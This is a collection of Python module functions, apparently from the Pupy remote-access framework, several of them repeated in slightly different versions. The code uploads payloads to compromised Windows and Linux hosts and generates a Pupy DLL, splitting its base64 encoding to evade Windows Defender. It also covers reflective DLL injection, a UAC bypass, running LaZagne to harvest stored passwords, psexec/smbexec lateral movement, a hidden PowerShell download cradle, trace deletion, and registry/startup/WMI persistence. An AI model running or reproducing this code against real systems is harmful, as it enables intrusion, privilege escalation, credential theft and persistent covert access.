def run(self, args): localfile = os.path.expandvars(args.local_file) rexpandvars = self.client.remote('os.path', 'expandvars') rjoin = self.client.remote('os.path', 'join') risdir = self.client.remote('os.path', 'isdir', False) if args.remote_file: remotefile = rexpandvars(args.remote_file) else: rtempfile = self.client.conn.modules['tempfile'] tempdir = rtempfile.gettempdir() remotefile = rjoin(tempdir, os.path.basename(localfile)) if remotefile.endswith('.'): remotefile = os.path.join(os.path.dirname(remotefile), args.local_file.split(os.sep)[-1]) if os.path.isfile(localfile) and risdir(remotefile): remotefile = rjoin(remotefile, os.path.basename(localfile)) size = os.stat(localfile).st_size self.info( "Uploading local:%s to remote:%s (size=%d)"%( localfile, remotefile, size ) ) try: upload(self.client.conn, localfile, remotefile, chunk_size=8*1024*1024) except Exception, e: self.error(' '.join(x for x in e.args if type(x) in (str, unicode))) return
def uploadPupyDLL(self, force_x86_dll=False): ''' Upload pupy dll as a txt file ''' res = self.module.client.conn.modules['pupy'].get_connect_back_host() host, port = res.rsplit(':', 1) logging.debug("Address configured is %s:%s for pupy dll..." % (host, port)) logging.debug("Looking for process architecture...") if "64" in self.module.client.desc["os_arch"] and not force_x86_dll: logging.debug("Target achitecture is x64, using a x64 dll") dllbuff = pupygen.get_edit_pupyx64_dll( self.module.client.get_conf()) else: logging.debug("Target achitecture is x86, using a x86 dll") dllbuff = pupygen.get_edit_pupyx86_dll( self.module.client.get_conf()) logging.debug("Creating the pupy dll in %s locally" % (self.pupyDLLLocalPath)) with open(self.pupyDLLLocalPath, 'w+') as w: w.write('$PEBytes = [System.Convert]::FromBase64String("%s")' % (base64.b64encode(dllbuff))) logging.debug("Uploading pupy dll in {0}".format( self.pupyDLLRemotePath)) upload(self.module.client.conn, self.pupyDLLLocalPath, self.pupyDLLRemotePath)
def uploadPupyDLL(self, force_x86_dll=False): ''' Upload pupy dll as a txt file ''' res=self.module.client.conn.modules['pupy'].get_connect_back_host() host, port = res.rsplit(':',1) logging.info("Address configured is %s:%s for pupy dll..."%(host,port)) logging.info("Looking for process architecture...") logging.info("force x86 is %s"%force_x86_dll) conf = self.module.client.get_conf() if "64" in self.module.client.desc["os_arch"] and not force_x86_dll: dllbuff, tpl, _ = pupygen.generate_binary_from_template(conf, 'windows', arch='x64', shared=True) else: dllbuff, tpl, _ = pupygen.generate_binary_from_template(conf, 'windows', arch='x86', shared=True) logging.info("Creating the pupy dll (%s) in %s locally"%(tpl, self.pupyDLLLocalPath)) with open(self.pupyDLLLocalPath, 'w+') as w: #the following powershell line in a txt file is detected by Windows defender #w.write('$PEBytes = [System.Convert]::FromBase64String("%s")'%(base64.b64encode(dllbuff))) #To bypass antivirus detection: dllbuffEncoded = base64.b64encode(dllbuff) w.write('$p1="{0}";$p2="{1}";$PEBytes=[System.Convert]::FromBase64String($p1+$p2)'.format(dllbuffEncoded[0:2], dllbuffEncoded[2:])) logging.info("Uploading pupy dll {0} to {1}".format(self.pupyDLLLocalPath, self.pupyDLLRemotePath)) upload(self.module.client.conn, self.pupyDLLLocalPath, self.pupyDLLRemotePath)
def uploadPupyDLL(self, force_x86_dll=False): ''' Upload pupy dll as a txt file ''' res = self.module.client.conn.modules['pupy'].get_connect_back_host() host, port = res.rsplit(':', 1) logging.info("Address configured is %s:%s for pupy dll..." % (host, port)) logging.info("Looking for process architecture...") logging.info("force x86 is %s" % force_x86_dll) conf = self.module.client.get_conf() if "64" in self.module.client.desc["os_arch"] and not force_x86_dll: dllbuff, tpl, _ = pupygen.generate_binary_from_template( conf, 'windows', arch='x64', shared=True) else: dllbuff, tpl, _ = pupygen.generate_binary_from_template( conf, 'windows', arch='x86', shared=True) logging.info("Creating the pupy dll (%s) in %s locally" % (tpl, self.pupyDLLLocalPath)) with open(self.pupyDLLLocalPath, 'w+') as w: #the following powershell line in a txt file is detected by Windows defender #w.write('$PEBytes = [System.Convert]::FromBase64String("%s")'%(base64.b64encode(dllbuff))) #To bypass antivirus detection: dllbuffEncoded = base64.b64encode(dllbuff) w.write( '$p1="{0}";$p2="{1}";$PEBytes=[System.Convert]::FromBase64String($p1+$p2)' .format(dllbuffEncoded[0:2], dllbuffEncoded[2:])) logging.info("Uploading pupy dll {0} to {1}".format( self.pupyDLLLocalPath, self.pupyDLLRemotePath)) upload(self.module.client.conn, self.pupyDLLLocalPath, self.pupyDLLRemotePath)
def run(self, args): ros = self.client.conn.modules['os'] localfile = os.path.expandvars(args.local_file) if args.remote_file: remotefile = ros.path.expandvars(args.remote_file) else: ros = self.client.conn.modules['os'] rtempfile = self.client.conn.modules['tempfile'] tempdir = rtempfile.gettempdir() remotefile = ros.path.join(tempdir, os.path.basename(localfile)) if remotefile.endswith('.'): remotefile = os.path.join(os.path.dirname(remotefile), args.local_file.split(os.sep)[-1]) if os.path.isfile(localfile) and ros.path.isdir(remotefile): remotefile = ros.path.join(remotefile, os.path.basename(localfile)) size = os.stat(localfile).st_size self.info("Uploading local:%s to remote:%s (size=%d)" % (localfile, remotefile, size)) upload(self.client.conn, localfile, remotefile, chunk_size=8 * 1024 * 1024) self.success("file local:%s uploaded to remote:%s" % (localfile, remotefile)) self.client.conn.modules['os'].chmod(remotefile, os.stat(localfile).st_mode)
def uploadPowershellScripts(self): ''' Upload main powershell script and invokeReflectivePEInjection script ''' mainPowerShellScriptPrivileged = """ cat {0} | Out-String | iex cat {1} | Out-String | iex Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR """ #{0}=Invoke-ReflectivePEInjection.txt and {1}=dllFile.txt logging.info("Creating the Powershell script in %s locally" % (self.mainPowerShellScriptPrivilegedLocalPath)) with open(self.mainPowerShellScriptPrivilegedLocalPath, 'w+') as w: w.write( mainPowerShellScriptPrivileged.format( self.invokeReflectivePEInjectionRemotePath, self.pupyDLLRemotePath)) logging.info( "Uploading powershell code for DLL injection in {0}".format( self.invokeReflectivePEInjectionRemotePath)) upload(self.module.client.conn, self.invokeReflectivePEInjectionLocalPath, self.invokeReflectivePEInjectionRemotePath) logging.info( "Uploading main powershell script executed by BypassUAC in {0}". format(self.mainPowershellScriptRemotePath)) upload(self.module.client.conn, self.mainPowerShellScriptPrivilegedLocalPath, self.mainPowershellScriptRemotePath)
def uploadPupyDLL(self): ''' Returns True if no error. Otherwise returns False ''' res = self.module.client.conn.modules['pupy'].get_connect_back_host() host, port = res.rsplit(':', 1) logging.info("Address configured is %s:%s for pupy dll..." % (host, port)) logging.info("Looking for process architecture...") if self.module.client.conn.modules[ 'pupwinutils.processes'].is_x64_architecture() == True: logging.info("Target achitecture is x64, using a x64 dll") dllbuff = pupygen.get_edit_pupyx64_dll( self.module.client.get_conf()) elif self.module.client.conn.modules[ 'pupwinutils.processes'].is_x86_architecture() == True: logging.info("Target achitecture is x86, using a x86 dll") dllbuff = pupygen.get_edit_pupyx86_dll( self.module.client.get_conf()) else: self.module.error( "Target architecture is unknown (!= x86 or x64), abording...") return False logging.info("Creating the pupy dll in %s locally" % (self.pupyDLLLocalPath)) with open(self.pupyDLLLocalPath, 'w+') as w: w.write('$PEBytes = [System.Convert]::FromBase64String("%s")' % (base64.b64encode(dllbuff))) logging.info("Uploading pupy dll in {0}".format( self.pupyDLLRemotePath)) upload(self.module.client.conn, self.pupyDLLLocalPath, self.pupyDLLRemotePath) return True
def uploadPupyDLL(self, force_x86_dll=False): ''' Upload pupy dll as a txt file ''' res = self.module.client.conn.modules['pupy'].get_connect_back_host() host, port = res.rsplit(':', 1) logging.debug("Address configured is %s:%s for pupy dll..." % (host, port)) logging.debug("Looking for process architecture...") conf = self.module.client.get_conf() if "64" in self.module.client.desc["os_arch"] and not force_x86_dll: dllbuff, tpl, _ = pupygen.generate_binary_from_template( conf, 'windows', arch='x64', shared=True) else: dllbuff, tpl, _ = pupygen.generate_binary_from_template( conf, 'windows', arch='x86', shared=True) logging.debug("Creating the pupy dll (%s) in %s locally" % (tpl, self.pupyDLLLocalPath)) with open(self.pupyDLLLocalPath, 'w+') as w: w.write('$PEBytes = [System.Convert]::FromBase64String("%s")' % (base64.b64encode(dllbuff))) logging.debug("Uploading pupy dll in {0}".format( self.pupyDLLRemotePath)) upload(self.module.client.conn, self.pupyDLLLocalPath, self.pupyDLLRemotePath)
def run(self, args): logger.debug("run(args) was called") info("Attempting to upload file...") try: upload(self.client.conn, args.local_file, args.remote_file) success("File transfer complete.") logger.info("File transfer complete.") except ValueError as e: error("Cannot upload file") logger.error("File transfer failed.")
def run(self, args): logger.debug("run(args) was called") info("Attempting to upload file...") try: upload(self.client.conn, args.local_file, args.remote_file) success("File transfer complete.") logger.info("File transfer complete.") except KeyboardInterrupt: logger.info("Caught Ctrl-C") except ValueError as e: error("Cannot upload file") logger.error("File transfer failed.")
def run(self, args): platform=self.client.desc["platform"] isWindows = True if "Windows" in platform: lazagne_path = self.client.pupsrv.config.get("lazagne","win") elif "Linux" in platform: isWindows = False if "64" in self.client.desc["os_arch"]: lazagne_path = self.client.pupsrv.config.get("lazagne","linux_64") else: lazagne_path = self.client.pupsrv.config.get("lazagne","linux_32") else: self.error("Platform not supported") return if not os.path.isfile(lazagne_path): self.error("laZagne exe %s not found ! please edit laZagne section in pupy.conf"%lazagne_path) self.error('Find releases on github: https://github.com/AlessandroZ/LaZagne/releases') return tf = tempfile.NamedTemporaryFile() dst = tf.name if isWindows: remoteTempFolder = self.client.conn.modules['os.path'].expandvars("%TEMP%") tfName = tf.name.split(os.sep) tfName = tfName[len(tfName)-1] + '.exe' dst = self.client.conn.modules['os.path'].join(remoteTempFolder, tfName) tf.file.close() self.success("Uploading laZagne to: %s" % dst) upload(self.client.conn, lazagne_path, dst) if not isWindows: self.success("Adding execution permission") cmd = ["chmod", "+x", dst] output = self.client.conn.modules.subprocess.check_output(cmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE) self.success("Executing") cmd = [dst, "all"] output = self.client.conn.modules.subprocess.check_output(cmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE) self.success("%s" % output) creds = self.parse_output(output) db = Credentials() db.add(creds) self.success("Passwords stored on the database") self.success("Cleaning traces") self.client.conn.modules['os'].remove(dst)
def uploadPowershellScripts(self): ''' Upload main powershell script and invokeReflectivePEInjection script ''' mainPowerShellScriptPrivileged = """ cat {0} | Out-String | iex cat {1} | Out-String | iex Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR """ #{0}=Invoke-ReflectivePEInjection.txt and {1}=dllFile.txt logging.info("Creating the Powershell script in %s locally"%(self.mainPowerShellScriptPrivilegedLocalPath)) with open(self.mainPowerShellScriptPrivilegedLocalPath, 'w+') as w: w.write(mainPowerShellScriptPrivileged.format(self.invokeReflectivePEInjectionRemotePath, self.pupyDLLRemotePath)) logging.info("Uploading powershell code for DLL injection in {0}".format(self.invokeReflectivePEInjectionRemotePath)) upload(self.module.client.conn, self.invokeReflectivePEInjectionLocalPath, self.invokeReflectivePEInjectionRemotePath) logging.info("Uploading main powershell script executed by BypassUAC in {0}".format(self.mainPowershellScriptRemotePath)) upload(self.module.client.conn, self.mainPowerShellScriptPrivilegedLocalPath, self.mainPowershellScriptRemotePath)
def execute_powershell_script(module, content, function): template = open(os.path.join(ROOT, "modules", "lib", "utils", "upload_powershell_script_template.ps1"), 'r').read() # compress the content of the script to upload out = StringIO.StringIO() with gzip.GzipFile(fileobj=out, mode="w") as f: f.write(content) # encode the gzip content in base64 encoded = base64.b64encode(out.getvalue()) # replace meta data from the template template = template.replace('[BASE64]', encoded) template = template.replace('[FUNCTION_NAME]', function) output = "" # execute of the powershell script in memory if the size is lower of the max size if len(template) < 32710: module.success("Executing the powershell code on memory") cmd = [] cmd.append('powershell.exe') cmd.append('/c') cmd.append(template) output = module.client.conn.modules.subprocess.check_output(cmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, universal_newlines=True) else: tf = tempfile.NamedTemporaryFile() f = open(tf.name, 'w') f.write(template) f.close() remoteTempFolder = module.client.conn.modules['os.path'].expandvars("%TEMP%") tfName = tf.name.split(os.sep) tfName = tfName[len(tfName)-1] module.success("Uploading powershell code to: %s\%s.ps1" % (remoteTempFolder, tfName)) upload(module.client.conn, tf.name, module.client.conn.modules['os.path'].join(remoteTempFolder, '%s.ps1' % tfName)) module.success("Executing the powershell code") output = module.client.conn.modules.subprocess.check_output("PowerShell.exe -ExecutionPolicy Bypass -File %s.ps1"%(module.client.conn.modules['os.path'].join(remoteTempFolder, tfName)), stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell = True) module.success("Removing the powershell code") module.client.conn.modules.subprocess.check_output("cmd.exe del %s.ps1" % (module.client.conn.modules['os.path'].join(remoteTempFolder, tfName)), stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell = True) return output
def run(self, args): if "/" in args.target[0]: hosts = IPNetwork(args.target[0]) else: hosts = list() hosts.append(args.target[0]) src = '' dst = '' exe_name = '' if args.file: if not os.path.exists(args.file): self.error('File not found: %s' % args.file) return if not args.file.endswith('.exe'): self.error('Only executable files could be uploaded') return exe_name = ''.join(random.sample(string.ascii_letters, 10)) + '.exe' if self.client.is_windows(): remote_path = '%s\\%s' % (self.client.conn.modules['os.path'].expandvars("%ALLUSERSPROFILE%"), exe_name) # Do a remote path for linux machine else: remote_path = '/tmp/%s' % exe_name self.info("Uploading file to {0}".format(remote_path)) upload(self.client.conn, args.file, remote_path) self.info("File uploaded") # once uploaded, this file has to be uploaded to the windows share src = remote_path dst = '%s\\%s' % (args.share.replace('$', ':'), exe_name) self.info("Loading dependencies") self.client.load_package("impacket") self.client.load_package("calendar") self.client.load_package("pupyutils.smbexec") with redirected_stdo(self.client.conn): for host in hosts: self.info("Connecting to the remote host: %s" % host) self.client.conn.modules["pupyutils.smbexec"].connect(host, args.port, args.user, args.passwd, args.hash, args.share, args.file, exe_name, src, dst, args.command, args.domain, args.execm)
def uploadPupyDLL(self, force_x86_dll=False): ''' Upload pupy dll as a txt file ''' res=self.module.client.conn.modules['pupy'].get_connect_back_host() host, port = res.rsplit(':',1) logging.debug("Address configured is %s:%s for pupy dll..."%(host,port)) logging.debug("Looking for process architecture...") if "64" in self.module.client.desc["os_arch"] and not force_x86_dll: logging.debug("Target achitecture is x64, using a x64 dll") dllbuff=pupygen.get_edit_pupyx64_dll(self.module.client.get_conf()) else: logging.debug("Target achitecture is x86, using a x86 dll") dllbuff=pupygen.get_edit_pupyx86_dll(self.module.client.get_conf()) logging.debug("Creating the pupy dll in %s locally"%(self.pupyDLLLocalPath)) with open(self.pupyDLLLocalPath, 'w+') as w: w.write('$PEBytes = [System.Convert]::FromBase64String("%s")'%(base64.b64encode(dllbuff))) logging.debug("Uploading pupy dll in {0}".format(self.pupyDLLRemotePath)) upload(self.module.client.conn, self.pupyDLLLocalPath, self.pupyDLLRemotePath)
def uploadPowershellScripts(self): ''' Upload main powershell script and invokeReflectivePEInjection script ''' mainPowerShellScriptPrivileged = """ cat {invoke_reflective_pe_injection} | Out-String | iex cat {pupy_dll} | Out-String | iex {InvokeReflectivePEInjection} -PEBytes $PEBytes -ForceASLR """.format(invoke_reflective_pe_injection=self.invokeReflectivePEInjectionRemotePath, pupy_dll=self.pupyDLLRemotePath, InvokeReflectivePEInjection=self.reflectivePE_random_name) logging.info("Creating the Powershell script in %s locally"%(self.mainPowerShellScriptPrivilegedLocalPath)) with open(self.mainPowerShellScriptPrivilegedLocalPath, 'w+') as w: w.write(mainPowerShellScriptPrivileged) logging.info("Uploading powershell code for DLL injection in {0}".format(self.invokeReflectivePEInjectionRemotePath)) content = re.sub("Invoke-ReflectivePEInjection", self.reflectivePE_random_name, open(self.invokeReflectivePEInjectionLocalPath).read(), flags=re.I) tmp_file = os.path.join(gettempdir(),'reflective_pe.txt') with open(tmp_file, 'w+') as w: w.write(content) upload(self.module.client.conn, tmp_file, self.invokeReflectivePEInjectionRemotePath) logging.info("Uploading main powershell script executed by BypassUAC in {0}".format(self.mainPowershellScriptRemotePath)) upload(self.module.client.conn, self.mainPowerShellScriptPrivilegedLocalPath, self.mainPowershellScriptRemotePath)
def uploadPowershellScripts(self): ''' Upload main powershell script and invokeReflectivePEInjection script ''' mainPowerShellScriptPrivileged = """ cat {invoke_reflective_pe_injection} | Out-String | iex cat {pupy_dll} | Out-String | iex {InvokeReflectivePEInjection} -PEBytes $PEBytes -ForceASLR """.format(invoke_reflective_pe_injection=self. invokeReflectivePEInjectionRemotePath, pupy_dll=self.pupyDLLRemotePath, InvokeReflectivePEInjection=self.reflectivePE_random_name) logging.debug("Creating the Powershell script in %s locally" % (self.mainPowerShellScriptPrivilegedLocalPath)) with open(self.mainPowerShellScriptPrivilegedLocalPath, 'w+') as w: w.write(mainPowerShellScriptPrivileged) logging.debug( "Uploading powershell code for DLL injection in {0}".format( self.invokeReflectivePEInjectionRemotePath)) content = re.sub("Invoke-ReflectivePEInjection", self.reflectivePE_random_name, open( self.invokeReflectivePEInjectionLocalPath).read(), flags=re.I) tmp_file = os.path.join(gettempdir(), 'reflective_pe.txt') with open(tmp_file, 'w+') as w: w.write(content) upload(self.module.client.conn, tmp_file, self.invokeReflectivePEInjectionRemotePath) logging.debug( "Uploading main powershell script executed by BypassUAC in {0}". format(self.mainPowershellScriptRemotePath)) upload(self.module.client.conn, self.mainPowerShellScriptPrivilegedLocalPath, self.mainPowershellScriptRemotePath)
def run(self, args): ros = self.client.conn.modules['os'] localfile = os.path.expandvars(args.local_file) if args.remote_file: remotefile = ros.path.expandvars(args.remote_file) else: ros = self.client.conn.modules['os'] rtempfile = self.client.conn.modules['tempfile'] tempdir = rtempfile.gettempdir() remotefile = ros.path.join(tempdir, os.path.basename(localfile)) if remotefile.endswith('.'): remotefile = os.path.join(os.path.dirname(remotefile), args.local_file.split(os.sep)[-1]) if os.path.isfile(localfile) and ros.path.isdir(remotefile): remotefile = ros.path.join(remotefile, os.path.basename(localfile)) self.info( "Uploading local:%s to remote:%s (size=%d)"%( localfile, remotefile, os.stat(localfile).st_size ) ) upload( self.client.conn, localfile, remotefile ) self.success("file local:%s uploaded to remote:%s"%(localfile, remotefile)) self.client.conn.modules['os'].chmod( remotefile, os.stat(localfile).st_mode )
def uploadPupyDLL(self): ''' Returns True if no error. Otherwise returns False ''' res=self.module.client.conn.modules['pupy'].get_connect_back_host() host, port = res.rsplit(':',1) logging.info("Address configured is %s:%s for pupy dll..."%(host,port)) logging.info("Looking for process architecture...") if self.module.client.conn.modules['pupwinutils.processes'].is_x64_architecture() == True: logging.info("Target achitecture is x64, using a x64 dll") dllbuff=pupygen.get_edit_pupyx64_dll(self.module.client.get_conf()) elif self.module.client.conn.modules['pupwinutils.processes'].is_x86_architecture() == True: logging.info("Target achitecture is x86, using a x86 dll") dllbuff=pupygen.get_edit_pupyx86_dll(self.module.client.get_conf()) else: self.module.error("Target architecture is unknown (!= x86 or x64), abording...") return False logging.info("Creating the pupy dll in %s locally"%(self.pupyDLLLocalPath)) with open(self.pupyDLLLocalPath, 'w+') as w: w.write('$PEBytes = [System.Convert]::FromBase64String("%s")'%(base64.b64encode(dllbuff))) logging.info("Uploading pupy dll in {0}".format(self.pupyDLLRemotePath)) upload(self.module.client.conn, self.pupyDLLLocalPath, self.pupyDLLRemotePath) return True
def run(self, args): dst = self.client.conn.modules['os.path'].expandvars(args.remote_file) if dst.endswith('.'): dst = dst.replace('.', args.local_file.split(os.sep)[-1]) upload(self.client.conn, args.local_file, dst) self.success("file local:%s uploaded to remote:%s"%(args.local_file, dst))
def bypassuac_through_trusted_publisher_certificate(module, rootPupyPath): ''' Performs a bypass UAC attack by utilizing the trusted publisher certificate through process injection. ''' module.client.load_package("psutil") module.client.load_package("pupwinutils.processes") #Define Remote paths remoteTempFolder = module.client.conn.modules['os.path'].expandvars( "%TEMP%") invokeReflectivePEInjectionRemotePath = "{0}.{1}".format( module.client.conn.modules['os.path'].join( remoteTempFolder, next(_get_candidate_names())), '.txt') invokeBypassUACRemotePath = "{0}.{1}".format( module.client.conn.modules['os.path'].join( remoteTempFolder, next(_get_candidate_names())), '.ps1') mainPowershellScriptRemotePath = "{0}.{1}".format( module.client.conn.modules['os.path'].join( remoteTempFolder, next(_get_candidate_names())), '.ps1') pupyDLLRemotePath = "{0}.{1}".format( module.client.conn.modules['os.path'].join( remoteTempFolder, next(_get_candidate_names())), '.txt') #Define Local paths mainPowerShellScriptPrivilegedLocalPath = os.path.join( gettempdir(), 'mainPowerShellScriptPrivileged.txt') invokeBypassUACLocalPath = os.path.join(rootPupyPath, "pupy", "external", "Empire", "privesc", "Invoke-BypassUAC.ps1") invokeReflectivePEInjectionLocalPath = os.path.join( rootPupyPath, "pupy", "external", "PowerSploit", "CodeExecution", "Invoke-ReflectivePEInjection.ps1") invokeBypassUACLocalPath = os.path.join(rootPupyPath, "pupy", "external", "Empire", "privesc", "Invoke-BypassUAC.ps1") pupyDLLLocalPath = os.path.join(gettempdir(), 'dllFile.txt') #Constants bypassUACcmd = "Invoke-BypassUAC -Command 'powershell.exe -ExecutionPolicy Bypass -file {0} -Verbose'".format( mainPowershellScriptRemotePath ) #{0}=mainPowerShellScriptPrivileged.ps1 byPassUACSuccessString = "DLL injection complete!" #main powershell script executed by bypassuac powershell script mainPowerShellScriptPrivileged = """ cat {0} | Out-String | iex cat {1} | Out-String | iex Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR """ #{0}=Invoke-ReflectivePEInjection.txt and {1}=dllFile.txt logging.info("Creating the Powershell script in %s locally" % (mainPowerShellScriptPrivilegedLocalPath)) with open(mainPowerShellScriptPrivilegedLocalPath, 'w+') as w: w.write( mainPowerShellScriptPrivileged.format( invokeReflectivePEInjectionRemotePath, pupyDLLRemotePath)) logging.info("Uploading powershell code for DLL injection in {0}".format( invokeReflectivePEInjectionRemotePath)) upload(module.client.conn, invokeReflectivePEInjectionLocalPath, invokeReflectivePEInjectionRemotePath) #logging.info("Uploading powershell code for UAC Bypass in {0}".format()) #upload(module.client.conn, invokeBypassUACLocalPath, invokeBypassUACRemotePath) logging.info( "Uploading main powershell script executed by BypassUAC in {0}".format( mainPowerShellScriptPrivilegedLocalPath)) upload(module.client.conn, mainPowerShellScriptPrivilegedLocalPath, mainPowershellScriptRemotePath) res = module.client.conn.modules['pupy'].get_connect_back_host() host, port = res.rsplit(':', 1) logging.info("Address configured is %s:%s for pupy dll..." % (host, port)) logging.info("Looking for process architecture...") if module.client.conn.modules['pupwinutils.processes'].is_x64_architecture( ) == True: logging.info("Target achitecture is x64, using a x64 dll") dllbuff = pupygen.get_edit_pupyx64_dll(module.client.get_conf()) elif module.client.conn.modules[ 'pupwinutils.processes'].is_x86_architecture() == True: logging.info("Target achitecture is x86, using a x86 dll") dllbuff = pupygen.get_edit_pupyx86_dll(module.client.get_conf()) else: module.error( "Target architecture is unknown (!= x86 or x64), abording...") return logging.info("Creating the pupy dll in %s locally" % (pupyDLLLocalPath)) with open(pupyDLLLocalPath, 'w+') as w: w.write('$PEBytes = [System.Convert]::FromBase64String("%s")' % (base64.b64encode(dllbuff))) logging.info("Uploading pupy dll in {0}".format(pupyDLLRemotePath)) upload(module.client.conn, pupyDLLLocalPath, pupyDLLRemotePath) content = re.sub("Write-Verbose ", "Write-Output ", open(invokeBypassUACLocalPath, 'r').read(), flags=re.I) logging.info( "Starting BypassUAC script with the following cmd: {0}".format( bypassUACcmd)) output = execute_powershell_script(module, content, bypassUACcmd) logging.info("BypassUAC script output: %s\n" % (output)) if byPassUACSuccessString in output: module.success("UAC bypassed") else: module.warning( "Impossible to know what's happened remotely. You should active debug mode." ) for aFile in [ invokeReflectivePEInjectionRemotePath, invokeBypassUACRemotePath, mainPowershellScriptRemotePath, pupyDLLRemotePath ]: logging.info("Deleting remote file {0}".format(aFile)) output = module.client.conn.modules.subprocess.check_output( "DEL /F /Q \"{0}\"".format(aFile), stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True) logging.debug("Delete Status: {0}".format(repr(output))) module.success( "Waiting for a connection from the DLL (take few seconds)...")
def run(self, args): if "/" in args.target[0]: hosts = IPNetwork(args.target[0]) else: hosts = list() hosts.append(args.target[0]) ext = '' remote_path = '' dst_folder = '' file_to_upload = [] if args.file or args.ps1: tmp_dir = tempfile.gettempdir() if self.client.is_windows(): remote_path = '%s\\' % self.client.conn.modules['os.path'].expandvars("%ALLUSERSPROFILE%") else: remote_path = '/tmp/' # write on the temp directory if args.share == 'C$': dst_folder = "C:\\Windows\\TEMP\\" # write on the root directory else: dst_folder = '%s\\' % args.share.replace('$', ':') # if executable to upload if args.file: if not os.path.exists(args.file): self.error('File not found: %s' % args.file) return if not args.file.endswith('.exe'): self.error('Only executable files could be uploaded') return ext = '.exe' random_name = ''.join(random.sample(string.ascii_letters, 10)) + ext shutil.copy(args.file, tmp_dir + os.sep + random_name) file_to_upload = [random_name] # if uploading powershell else: ext = '.txt' first_stage = ''.join(random.sample(string.ascii_letters, 10)) + ext second_stage = ''.join(random.sample(string.ascii_letters, 10)) + ext file_to_upload = [first_stage, second_stage] launcher = """cat {invoke_reflective_random_name} | Out-String | IEX""".format(invoke_reflective_random_name=dst_folder + second_stage) launcher = create_ps_command(launcher, force_ps32=True, nothidden=False) open(tmp_dir + os.sep + first_stage, 'w').write(launcher) self.success('first stage created: %s' % tmp_dir + os.sep + first_stage) command = getInvokeReflectivePEInjectionWithDLLEmbedded(self.client.get_conf()) open(tmp_dir + os.sep + second_stage, 'w').write(command) self.success('second stage created: %s' % tmp_dir + os.sep + second_stage) for file in file_to_upload: src = tmp_dir + os.sep + file dst = remote_path + file self.info("Uploading file to {0}".format(dst)) upload(self.client.conn, src, dst) self.success("File uploaded") if args.ps1_oneliner: res=self.client.conn.modules['pupy'].get_connect_back_host() ip, port = res.rsplit(':', 1) cmd = '%s/pupygen.py -f ps1_oneliner --ps1-oneliner-listen-port %s connect --host %s:%s' % (os.getcwd(), str(args.ps1_port), ip, port) self.warning('starting the local server') process = Popen(cmd.split(' '), stdout=PIPE, stderr=PIPE, stdin=PIPE) time.sleep(2) # check if the server has been launched corretly if process.poll(): self.error('the server has not been launched, check if the port %s or if the file %s/pupygen.py exists' % (str(args.ps1_port), os.getcwd())) return self.success('server started (pid: %s)' % process.pid) args.command = 'powershell.exe -w hidden -noni -nop -c "iex(New-Object System.Net.WebClient).DownloadString(\'http://%s:%s/eiloShaegae1\')"' % (ip, str(args.ps1_port)) self.info("Loading dependencies") self.client.load_package("impacket") self.client.load_package('ntpath') self.client.load_package("calendar") self.client.load_package("pupyutils.psexec") with redirected_stdo(self.client.conn): for host in hosts: self.info("Connecting to the remote host: %s" % host) self.client.conn.modules["pupyutils.psexec"].connect(host, args.port, args.user, args.passwd, args.hash, args.share, file_to_upload, remote_path, dst_folder, args.command, args.domain, args.execm) if args.ps1_oneliner: self.warning('stopping the local server (pid: %s)' % process.pid) process.terminate() elif args.ps1: self.warning('Do not forget to remove the file: %s' % dst_folder + first_stage) self.warning('Do not forget to remove the file: %s' % dst_folder + second_stage)
def windows(self, args): success = False method = args.method isXP = False get_windows_version = self.client.remote('pupwinutils.security', 'get_windows_version') windows_info = get_windows_version() intgty_lvl = self.client.desc['intgty_lvl'] if windows_info: if float( str('%s.%s' % (windows_info['major_version'], windows_info['minor_version']))) < 6.0: isXP = True # not admin or it is an XP (wmi use powershell so cannot be run on XP) if method == "wmi" and ((intgty_lvl not in ('High', 'System')) or isXP): self.warning( "You seems to lack some privileges to remove wmi persistence ..." ) return # if no method specify, find one automatically depending on the system or the user privileges if not method: # for XP, use registry method if isXP: method = "registry" # not admin, use by default startup method elif intgty_lvl not in ('High', 'System'): method = "startup" else: method = "wmi" # -------------------------- removing persistency -------------------------- if args.remove: remove_startup_file_persistence = self.client.remote( 'pupwinutils.persistence', 'remove_startup_file_persistence') remove_registry_startup = self.client.remote( 'pupwinutils.persistence', 'remove_registry_startup') remove_wmi_persistence = self.client.remote( 'pupwinutils.persistence', 'remove_wmi_persistence') self.info('Removing persistency using {} method...'.format(method)) # from startup file if method == 'startup': success = remove_startup_file_persistence() # from registry elif method == 'registry': success = remove_registry_startup() # from wmi event elif method == "wmi": success = remove_wmi_persistence() if success: self.success('Persistence removed !') else: self.error('Error removing persistence') return # -------------------------- adding persistency -------------------------- remotefile = None if args.exe: if not os.path.exists(args.exe): self.error('Executable file not found: %s' % args.exe) return expandvars = self.client.remote('os.path', 'expandvars', False) remotefile = expandvars("%ProgramData%\\{}.exe".format(''.join([ random.choice(string.ascii_lowercase) for x in range(0, random.randint(6, 12)) ]))) self.info('Uploading to %s' % remotefile) upload(self.client.conn, args.exe, remotefile) cmd = remotefile elif args.cmd: cmd = args.cmd else: self.error( 'A command line or an executable is needed on windows (standard templates will get caught by the AV)' ) return self.info('Adding persistency using {} method...'.format(method)) startup_file_persistence = self.client.remote( 'pupwinutils.persistence', 'startup_file_persistence', False) add_registry_startup = self.client.remote('pupwinutils.persistence', 'add_registry_startup', False) wmi_persistence = self.client.remote('pupwinutils.persistence', 'wmi_persistence') # creating a file into the startup directory if method == 'startup': if not args.exe: self.error( "This method only works uploading an exe, cannot be run using a custom command :(" ) return success = startup_file_persistence(cmd) # adding persistency in registry (for xp, it will always be in registry) elif method == 'registry': success = add_registry_startup(cmd) # adding persistency using wmi event elif method == 'wmi': success = wmi_persistence(command=cmd, file=remotefile) if success: self.success('Persistence added successfully !') else: self.error( 'An error occured creating the persistence, try to do it manually' )
